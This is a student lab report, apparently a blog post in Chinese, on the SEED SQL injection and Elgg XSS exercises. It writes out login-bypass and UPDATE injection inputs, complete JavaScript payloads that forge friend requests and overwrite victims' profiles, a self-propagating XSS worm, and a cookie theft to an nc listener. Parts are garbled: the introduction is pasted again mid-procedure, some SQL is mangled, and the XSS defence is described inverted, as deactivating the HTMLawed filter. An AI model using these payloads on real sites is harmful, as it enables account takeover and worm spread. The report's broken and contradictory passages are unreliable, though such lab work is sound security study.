20252911 2025-2026-2 《网络攻防实践》 实践10

1.实践内容

本周实验主要包括两个部分:SEED SQL注入攻击与防御实验 和 SEED XSS跨站脚本攻击实验。

在 SQL 注入实验中,首先需要熟悉实验环境中的数据库结构,了解 Users 数据库及 credential 表中存储的员工信息,如用户名、密码、工资、SSN 等。随后,通过构造特殊输入,对 Web 应用中的登录功能进行 SQL 注入攻击,在不知道用户密码的情况下绕过身份验证并登录系统。接着,在员工个人信息更新页面中,对 UPDATE 语句进行 SQL 注入攻击,尝试修改数据库中的敏感信息。最后,针对上述漏洞进行防御,主要通过参数化查询、输入校验等方式修复 SQL 注入问题。
在 XSS 跨站脚本实验中,实验对象为 Elgg 社交网站。首先在用户资料页面中嵌入 JavaScript 脚本,使其他用户访问该页面时弹出警告窗口,以验证 XSS 漏洞的存在。随后进一步实现显示 Cookie、窃取受害者 Cookie、自动添加好友、自动修改受害者个人资料等攻击操作。最后,编写能够在用户之间传播的 XSS 蠕虫,并对 XSS 攻击进行防御,学习通过输入过滤、输出编码、设置 Cookie 安全属性等方式降低跨站脚本攻击风险。
通过本周实验,可以了解 SQL 注入和 XSS 攻击的基本原理、攻击过程及危害,并掌握常见的 Web 安全防御方法。

2.实践过程

(1) SEED SQL注入攻击与防御实验

2.2.1

在 ubuntu 系统中修改 hostname 为 20241904lwl。首先使用命令 sudo vi /etc/hostname 打开文件,先按 i 进入编辑模式,将文件中的旧主机名删除,输入新的主机名,修改完成后按 Esc 键,输入 :wq 保存并退出编辑器,然后重启系统。
image

image
image

解压安装vmwaretool
image
image

在命令行本周实验主要包括两个部分:SEED SQL注入攻击与防御实验 和 SEED XSS跨站脚本攻击实验。

在 SQL 注入实验中,首先需要熟悉实验环境中的数据库结构,了解 Users 数据库及 credential 表中存储的员工信息,如用户名、密码、工资、SSN 等。随后,通过构造特殊输入,对 Web 应用中的登录功能进行 SQL 注入攻击,在不知道用户密码的情况下绕过身份验证并登录系统。接着,在员工个人信息更新页面中,对 UPDATE 语句进行 SQL 注入攻击,尝试修改数据库中的敏感信息。最后,针对上述漏洞进行防御,主要通过参数化查询、输入校验等方式修复 SQL 注入问题。

在 XSS 跨站脚本实验中,实验对象为 Elgg 社交网站。首先在用户资料页面中嵌入 JavaScript 脚本,使其他用户访问该页面时弹出警告窗口,以验证 XSS 漏洞的存在。随后进一步实现显示 Cookie、窃取受害者 Cookie、自动添加好友、自动修改受害者个人资料等攻击操作。最后,编写能够在用户之间传播的 XSS 蠕虫,并对 XSS 攻击进行防御,学习通过输入过滤、输出编码、设置 Cookie 安全属性等方式降低跨站脚本攻击风险。

通过本周实验,可以了解 SQL 注入和 XSS 攻击的基本原理、攻击过程及危害,并掌握常见的 Web 安全防御方法。输入命令 mysql -u root -p 登录 MySQL 数据库,输入密码 seedubuntu
image
登陆成功之后,我们再通过以下命令:“use Users;”和“show tables;”切换到Users数据库并查看数据库中所有的表,使用命令select * from credential查询该表中所有的项如下图所示
image

2.2.2对UPDATE语句的SQL注入攻击:通过员工的更新个人界面实施UPDATE语句的SQL注入攻击

数据表是http://www.seedlabsqlinjection.com/ 使用的数据,我们访问该网站,随意输入用户名和密码,网站如下图所示
image
image
单击“F12”——“Network”,然后刷新网页,可以发现用户名和密码通过GET请求(通过URL的传参也可以看出)提交至unsafe_home.php页面进行身份检验
image
接下来我们使用命令:vim /var/www/SQLInjection/unsafe_home.php打开该网站所对应的文件
image
image

其中所使用到的SQL查询语句如下:
SELECT id, name, eid, salary, birth, ssn, address, email, nickname, Password FROM credential WHERE name= ’inputuname’andPassword=’input_uname’ and Password=’input u name’andPassword=’hashed_pwd’
如果我们输入的username字段为Admin‘#,Password字段为任意值;那么我们通过上述代码组合sql语句就可以得到如下的sql查询语句:
SELECT id, name, eid, salary, birth, ssn, address, email, nickname, Password FROM credential WHERE name= ’Admin’ #’ and Password=’$hashed_pwd’
“#”表示注释,后面的内容被注释掉,因此上述SQL查询语句也就变成了:
SELECT id, name, eid, salary, birth, ssn, address, email, nickname, Password FROM credential WHERE name= ’Admin’
这样一来我们就利用它不进行安全性检查的漏洞实现了SQL注入攻击
image
通过这种方式,我们就可以欺骗服务器,成功登录用户主页,登录网页
image
image

2.3对UPDATE语句的SQL注入攻击:通过员工的更新个人界面实施UPDATE语句的SQL注入攻击

通过命令vim /var/www/SQLInjection/unsafe_edit_backend.php来查看后端的代码
image
分析上述代码的SQL语句是进行SQL注入攻击的关键;
查看源代码,表单将用户输入的信息使用get方法提交至unsafe_edit_backend.php页面
如果我们输入的nickname字段为‘, salary=’1‘ where Name=’Alice‘; # ,那么最终被构建的sql语句就将变化为:
UPDATE credential SET nickname=’‘, salary=’1‘ where Name=’Alice‘; # ’,email=’inputemail’,address=’input_email’, address=’input email’,address=’input_address’, Password=’hashedpwd’,PhoneNumber=’hashed_pwd’, PhoneNumber=’hashed pwd’,PhoneNumber=’input_phonenumber’ WHERE ID=$id;";
在上述查询语句中,改变了原本不应该改变的salary字段值;
然后我们登录Admin的个人主页,然后点击左上方的Edit Profile按钮,之后进入更新页面;
在这个页面中,为了实现SQL注入攻击,构造 ', Salary='20252911' where name='Admin'; #,对 Admin 的 Salary 进行修改,进行 SQL 注入攻击;保存后看到 Admin 的 Salary 已经改为20252911;对 UPDATE 语句的 SQL 注入攻击实验成功
image

2.2.4修复上述SQL注入攻击漏洞

进入 /var/www/SQLInjection/ 目录,找到 unsafe_home.php,然后输入命令:sudo vim unsafe_home.php ,查看其源码
image
image
image
从unsafe_home.php 文件的源代码中可以发现,它们对 SQL 语句的参数和需要执行的动作或条件混在一起没有分开,导致数据库无法分清楚,产生 SQL 注入风险。可以使用预处理语句避免上述注入攻击的实现,首先在 unsafe_home.php 页面中,对SELECT语句进行预处理
image

修改保存 unsafe_home.php 文件后,再次登录,发现登录失败
image
image
进入 /var/www/SQLInjection/ 目录,找到 unsafe_edit_backend.php,然后输入命令:sudo vim unsafe_edit_backend.php ,查看其源码
继续在unsafe_edit_backend.php 页面中,对 UPDATE 语句进行预处理。对 UPDATE 的修复如下,用以下代码替换掉 SQL 部分的代码
image
改保存后,进入unsafe_edit_backend.php 页面,输入 ', Salary='20252911' where name='Alice' ,点击Save按钮后一直卡在空白页面,可以发现 UPDATE 对数据库的修改失败
image

(2)SEED XSS跨站脚本攻击实验(Elgg)

2.2.1发布恶意消息,显示警报窗口

在浏览器中访问 http://www.xsslabelgg.com/ ,输入账号:Alice 密码:seedalice 进行登录
image
点击 Alice 头像进入主页,点击 Edit profile,在 Brief description 中输入 XSS 攻击代码:
image

点击save按钮进行保存,发现弹出 syy_xss 警告弹窗
image

2.2.2弹窗显示cookie信息

点击 Edit profile,在 Brief description 中输入 XSS 攻击代码:
image
点击save按钮进行保存,显示出 cookie 的信息
image

2.2.3窃取受害者的cookies

查看 ubuntu-lwl 的IP地址:192.168.32.8
image
构造 XSS 攻击代码,只要有用户访问 Alice 的主页,就会接收到该用户的 cookie。点击 Edit profile,在 Brief description 中输入 XSS 攻击代码: 并保存,此时端口设置为5555
image
切换账号:Boby 密码:seedboby,使用 Boby 的账号进行登录并访问 Alice 的主页
访问 Alice 主页前输入指令 nc -l 5505 -v (其中 -l 指定端口,-v 显示详细信息)监听5555端口,访问 Alice 主页后成功得到 Boby 的 cookie
image
image
image

2.2.4成为受害者的朋友

登录用户为 Alice,然后访问用户 Boby 的主页;首先点击 ctrl+shift+E 打开浏览器开发者模式,进入 Network 页面,然后点击和 Boby 成为好友;可以看到点击按钮后浏览器发送了 GET 请求
image
其中请求的地址是: http://www.xsslabelgg.com/action/friends/add ?friend=45&__elgg_ts=1745740896&__elgg_token=9Bq6co2QD3dVHkzNbcPUHA ;可以看到,这里用到了三个参数(friend,__elgg_ts,__elgg_token,分别是好友、时间、身份认证)
image
根据以上信息构造js程序代码:
<script type="text/javascript"> window.onload = function () { var Ajax=null; var ts="&__elgg_ts="+elgg.security.token.__elgg_ts; var token="&__elgg_token="+elgg.security.token.__elgg_token; //Construct the HTTP request to add Samy as a friend. var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token; //Create and send Ajax request to add friend Ajax=new XMLHttpRequest(); Ajax.open("GET",sendurl,true); Ajax.setRequestHeader("Host","www.xsslabelgg.com"); Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded"); Ajax.send(); } </script>
image
切换boby账号,可以看到 Boby 目前没有好友,但alice主页已经与boby成为了好友
image
image

2.2.5修改受害者的信息

进入 Alice 主页,尝试更改 About me 的内容,并在 Network 中查看到网站用 POST 的方式提交表单给 http://www.xsslabelgg.com/action/profile/edit 链接
image
根据日志信息使用以下代码构造 js 程序
<script type="text/javascript"> window.onload = function(){ //JavaScript code to access user name, user guid, Time Stamp __elgg_ts //and Security Token __elgg_token var userName=elgg.session.user.name; var guid="&guid="+elgg.session.user.guid; var ts="&__elgg_ts="+elgg.security.token.__elgg_ts; var token="&__elgg_token="+elgg.security.token.__elgg_token; //Construct the content of your url. var content= token + ts + "name=" + userName + "&description=<p>this had been changed by xss attack.lwl20241904 </p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid; var sendurl = "http://www.xsslabelgg.com/action/profile/edit" alert(content) //FILL IN var samyGuid=44; //FILL IN if(elgg.session.user.guid!=samyGuid) { //Create and send Ajax request to modify profile var Ajax=null; Ajax=new XMLHttpRequest(); Ajax.open("POST",sendurl,true); Ajax.setRequestHeader("Host","www.xsslabelgg.com"); Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); Ajax.send(content); } }</script>
将上述代码输入到about me中
image
登录Boby的账号,并浏览Alice的主页,有弹窗出现
image
再回到Boby的主页发现 About me 已经被改变,js 程序修改受害者主页成功
image

2.2.6编写XSS蠕虫

根据前面的xss攻击代码构造一个具有传染性的xss蠕虫,代码如下
<script id="worm" type="text/javascript"> window.onload = function(){ var headerTag = "<script id=\'worm\' type=\'text/javascript\'>"; var jsCode = document.getElementById("worm").innerHTML; var tailTag = "</" + "script>"; var wormCode = encodeURIComponent(headerTag + jsCode + tailTag); var userName=elgg.session.user.name; var guid="&guid="+elgg.session.user.guid; var ts="&__elgg_ts="+elgg.security.token.__elgg_ts; var token="&__elgg_token="+elgg.security.token.__elgg_token; //Construct the content of your url. var content= token + ts + "&name=" + userName + "&description=<p>Hacked by xss attack.syy20252911"+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid; var sendurl = "http://www.xsslabelgg.com/action/profile/edit" alert(content) var samyGuid=44; if(elgg.session.user.guid!=samyGuid) { var Ajax=null; Ajax=new XMLHttpRequest(); Ajax.open("POST",sendurl,true); Ajax.setRequestHeader("Host","www.xsslabelgg.com"); Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); Ajax.send(content); } } </script>
将这段代码添加至Alice的About me中,并点击保存
image
登录 Boby 号,访问 Alice 主页并查看 Boby 的 About me;发现 Boby 已经被改变了,感染了xss 蠕虫攻击代码
image
退出登录 Boby,使用 Samy(密码:seedsamy) 访问 Boby,发现 Samy 也被感染
image

2.2.7对抗XSS攻击

登录Admin的账号(账号:Admin 密码:seedelgg)
点击Account -> Administration -> plugins
image
找到插件 HTMLawed ,将其关闭,设为 Deactivate 状态。该插件用来校验用户的输入输出,并且可以自动删除特定的标签
image
再次登录 Samy 账号,发现 XSS 蠕虫攻击已经失效
image

3.学习中遇到的问题及解决

问题:实验二中使用在主演about me中输入js 程序代码无法实现
解决:应先选择右上角的 Edit HTML 模式,然后再将该段代码添加至About me的模块之中中,再点击保存即可成功

4.实践总结

在 SQL 注入实验中,我了解到当 Web 程序直接将用户输入拼接到 SQL 语句中时,攻击者可以通过构造特殊输入改变原有 SQL 语句的逻辑,从而实现绕过登录验证、查询敏感信息或修改数据库内容等操作。该实验说明,数据库操作如果缺少安全处理,会严重威胁系统的身份认证和数据安全。
在 XSS 实验中,我认识到如果 Web 应用没有对用户提交的内容进行过滤和转义,攻击者就可以将恶意 JavaScript 代码嵌入页面中。当其他用户访问该页面时,恶意脚本会在受害者浏览器中执行,可能造成弹窗、Cookie 泄露、自动添加好友、修改个人资料,甚至形成 XSS 蠕虫传播。该实验说明,前端输入输出处理不当同样会对用户隐私和账号安全造成严重影响。
通过实验可以看出,SQL 注入和 XSS 虽然攻击位置不同,但本质上都与 用户输入不可信、程序缺少有效过滤和安全编码 有关。因此,在 Web 应用开发中,应当采用参数化查询、输入校验、输出编码、Cookie 安全属性设置、最小权限控制等方法进行防护。
总体来看,本次实验不仅加深了我对 Web 攻击原理的理解,也提高了我从攻击者和防御者两个角度分析 Web 安全问题的能力,为后续学习网络攻防和安全开发奠定了基础。

posted @ 2026-05-12 13:22  Elucidatetor  阅读(16)  评论(0)    收藏  举报